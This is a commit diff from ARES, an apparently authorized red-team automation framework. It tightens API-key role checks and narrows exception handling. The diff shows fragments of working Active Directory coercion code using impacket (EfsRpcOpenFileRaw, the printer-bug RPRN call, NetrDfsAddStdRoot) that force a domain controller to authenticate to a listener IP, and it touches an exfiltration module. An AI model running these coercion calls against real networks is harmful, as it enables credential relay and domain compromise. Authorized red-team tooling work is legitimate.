ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix: close confirmed coverage predictor defects
Mafifrizi67061d8af95a
diff --git a/ares/api/rbac.py b/ares/api/rbac.pyindex 640cba9..c37104b 100644--- a/ares/api/rbac.py+++ b/ares/api/rbac.py@@ -47,6 +47,16 @@ from ares.collab.manager import ( # noqa: E402class AuthenticatedUser:username: strrole: str # team_lead | operator | recon | reporter+ auth_type: str = "bearer"+ api_key_id: str | None = None+ api_key_scopes: tuple[str, ...] = ()++ @property+ def is_api_key(self) -> bool:+ return self.auth_type == "api_key"++ def has_api_scope(self, *allowed: str) -> bool:+ return bool(set(allowed).intersection(self.api_key_scopes))@propertydef operator_role(self) -> OperatorRole:diff --git a/ares/api/server.py b/ares/api/server.pyindex 20429d6..f57b852 100644--- a/ares/api/server.py+++ b/ares/api/server.py@@ -794,7 +794,7 @@ async def list_api_keys(@app.delete("/auth/api-keys/{key_id}", tags=["auth"])async def revoke_api_key(key_id: str,- actor: AuthenticatedUser = Depends(get_current_user_or_apikey),+ actor: AuthenticatedUser = Depends(get_current_user),db: AresDatabase = Depends(get_db),) -> dict[str, str]:user = await db.get_user(actor.username)@@ -2068,7 +2068,7 @@ async def run_campaign_plan(return engine.dry_run_plan(plan, body.global_params)c_obj = _campaign_from_db_row(campaign)- results = await engine.run_plan(plan, c_obj, body.global_params)+ results = await engine.run_plan(plan, c_obj, body.global_params, actor_role=actor.role)return {"campaign_id": campaign_id,"modules_run": len(results),diff --git a/ares/core/engine.py b/ares/core/engine.pyindex 002b769..dc5a9b3 100644--- a/ares/core/engine.py+++ b/ares/core/engine.py@@ -753,7 +753,12 @@ class AresEngine:status=ModuleStatus.RUNNING,))result = await self.run_module(- module_id, campaign, params, skip_validation, timeout_seconds+ module_id,+ campaign,+ params,+ skip_validation,+ timeout_seconds,+ actor_role=actor_role,)if on_progress:await on_progress(ProgressEvent(diff --git a/ares/db/database.py b/ares/db/database.pyindex 8db797e..f7ed88c 100644--- a/ares/db/database.py+++ b/ares/db/database.py@@ -684,8 +684,13 @@ class AresDatabase:"UPDATE api_keys SET last_used=datetime('now') WHERE id=?", (row["id"],))await self._conn.commit()- return {"username": row["username"], "role": row["role"],- "auth_type": "api_key", "key_id": row["id"]}+ return {+ "username": row["username"],+ "role": row["role"],+ "auth_type": "api_key",+ "key_id": row["id"],+ "scopes": [row["scopes"]] if row["scopes"] else [],+ }return Noneasync def list_api_keys(self, user_id: str) -> list[dict[str, Any]]:diff --git a/ares/db/postgres.py b/ares/db/postgres.pyindex 03e0838..21ce424 100644--- a/ares/db/postgres.py+++ b/ares/db/postgres.py@@ -645,8 +645,13 @@ class PostgresDatabase:await conn.execute("UPDATE api_keys SET last_used=now() WHERE id=$1", d["id"])- return {"username": d["username"], "role": d["role"],- "auth_type": "api_key", "key_id": d["id"]}+ return {+ "username": d["username"],+ "role": d["role"],+ "auth_type": "api_key",+ "key_id": d["id"],+ "scopes": [d["scopes"]] if d.get("scopes") else [],+ }return Noneasync def list_api_keys(self, user_id: str) -> list[dict]:diff --git a/ares/goal/engine.py b/ares/goal/engine.pyindex 13482d6..394c395 100644--- a/ares/goal/engine.py+++ b/ares/goal/engine.py@@ -554,7 +554,7 @@ class GoalEngine:engine = AresEngine()engine._registry = self.registry # reuse GoalEngine's registry — avoid re-loading modulest0 = time.monotonic()- results = await engine.run_plan(exec_plan, campaign, plan.context)+ results = await engine.run_plan(exec_plan, campaign, plan.context, actor_role="operator")return {"goal": plan.goal.value,diff --git a/ares/modules/ad/coerce.py b/ares/modules/ad/coerce.pyindex e5a7818..3d741f3 100644--- a/ares/modules/ad/coerce.py+++ b/ares/modules/ad/coerce.py@@ -223,6 +223,7 @@ class CoerceModule(BaseModule):"""MS-EFSRPC: EfsRpcOpenFileRaw — works unauthenticated on unpatched systems."""try:from impacket.dcerpc.v5 import transport, efsrpc+ from impacket.dcerpc.v5.rpcrt import DCERPCExceptionfrom impacket.dcerpc.v5.dtypes import NULLrpctransport = transport.DCERPCTransportFactory(@@ -240,7 +241,7 @@ class CoerceModule(BaseModule):unc_path = f"\\\\{listener_ip}\\share\\file"try:efsrpc.hEfsRpcOpenFileRaw(dce, unc_path, 0)- except Exception:+ except DCERPCException:pass # expected — DC will attempt auth before this failsfinally:try:@@ -257,6 +258,8 @@ class CoerceModule(BaseModule):"""MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification — needs domain creds."""try:from impacket.dcerpc.v5 import transport, rprn+ from impacket.dcerpc.v5.dtypes import NULL+ from impacket.dcerpc.v5.rpcrt import DCERPCExceptionrpctransport = transport.DCERPCTransportFactory(f"ncacn_np:{dc}[\\pipe\\spoolss]"@@ -277,7 +280,7 @@ class CoerceModule(BaseModule):rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, handle, 0x00000100, 0, f"\\\\{listener_ip}", NULL)- except Exception:+ except DCERPCException:pass # expected error — trigger happenedfinally:try:@@ -295,6 +298,7 @@ class CoerceModule(BaseModule):"""MS-DFSNM: NetrDfsAddStdRoot — needs domain creds."""try:from impacket.dcerpc.v5 import transport, dfsnm+ from impacket.dcerpc.v5.rpcrt import DCERPCExceptionrpctransport = transport.DCERPCTransportFactory(f"ncacn_np:{dc}[\\pipe\\netdfs]"@@ -308,7 +312,7 @@ class CoerceModule(BaseModule):try:dfsnm.hNetrDfsAddStdRoot(dce, f"\\\\{listener_ip}\\share", "share", 0)- except Exception:+ except DCERPCException:pass # expected — trigger happenedfinally:try:diff --git a/ares/modules/cloud/gcp.py b/ares/modules/cloud/gcp.pyindex 71479b7..9168f44 100644--- a/ares/modules/cloud/gcp.py+++ b/ares/modules/cloud/gcp.py@@ -528,7 +528,7 @@ class GCPModule(BaseModule):),)return {"accessible": True, "service_accounts": sa_list}- except requests.exceptions.ConnectionError:+ except httpx.ConnectError:# Expected — not running on GCE or metadata blockedpassexcept Exception as exc:diff --git a/ares/modules/exfil/staged_collection.py b/ares/modules/exfil/staged_collection.pyindex baba0fc..b9a3319 100644--- a/ares/modules/exfil/staged_collection.py+++ b/ares/modules/exfil/staged_collection.py@@ -10,6 +10,7 @@ Patterns: credentials, keys, configs, databases, source code secrets."""from __future__ import annotationsimport asyncio+import shlexfrom typing import Anyfrom ares.core.logger import get_logger, auditfrom ares.core.campaign import Finding, Severitydiff --git a/ares/modules/opsec/coverage_predictor.py b/ares/modules/opsec/coverage_predictor.pyindex 93c18e4..8b387fd 100644--- a/ares/modules/opsec/coverage_predictor.py+++ b/ares/modules/opsec/coverage_predictor.py@@ -625,9 +625,10 @@ class CoveragePredictor:# SIEM correlation recommendationsif siem_hits:fastest = siem_hits[0]+ common_rules = ", ".join(fastest["common_in"][:3])recs.append(f"SIEM ALERT: '{fastest['rule']}' would fire in ~{fastest['time_to_detect_min']} min "- f"in {", ".join(fastest['common_in'][:3])}. "+ f"in {common_rules}. "f"{fastest['recommendation']}")diff --git a/ares/strategy/engine.py b/ares/strategy/engine.pyindex 5f7b10b..1f0e425 100644--- a/ares/strategy/engine.py+++ b/ares/strategy/engine.py@@ -639,7 +639,6 @@ class StrategyEngine:)try:- import jsonbackend_map = {"claude": lambda: ClaudeBackend(),"openai": lambda: OpenAIBackend(),@@ -689,4 +688,3 @@ class StrategyEngine:if any(ind.lower() in title.lower() for ind in indicators):return Truereturn False-diff --git a/ares/technique/library.py b/ares/technique/library.pyindex 9ce09cf..164f0ae 100644--- a/ares/technique/library.py+++ b/ares/technique/library.py@@ -761,12 +761,14 @@ class CoverageReport:f'{t["id"]}</span>'for t in techs[:5])+ empty_tags = "<span style='color:#475569;font-size:.75rem'>—</span>"+ rendered_tags = tech_tags if techs else empty_tagsrows.append(f'<div style="background:{color};{border}border-radius:6px;'f'padding:8px 10px;min-width:140px">'f'<div style="font-size:.72rem;color:#94a3b8;text-transform:uppercase;'f'letter-spacing:.04em">{tactic}</div>'- f'{tech_tags if techs else "<span style=\'color:#475569;font-size:.75rem\'>—</span>"}'+ f'{rendered_tags}'f'</div>')return (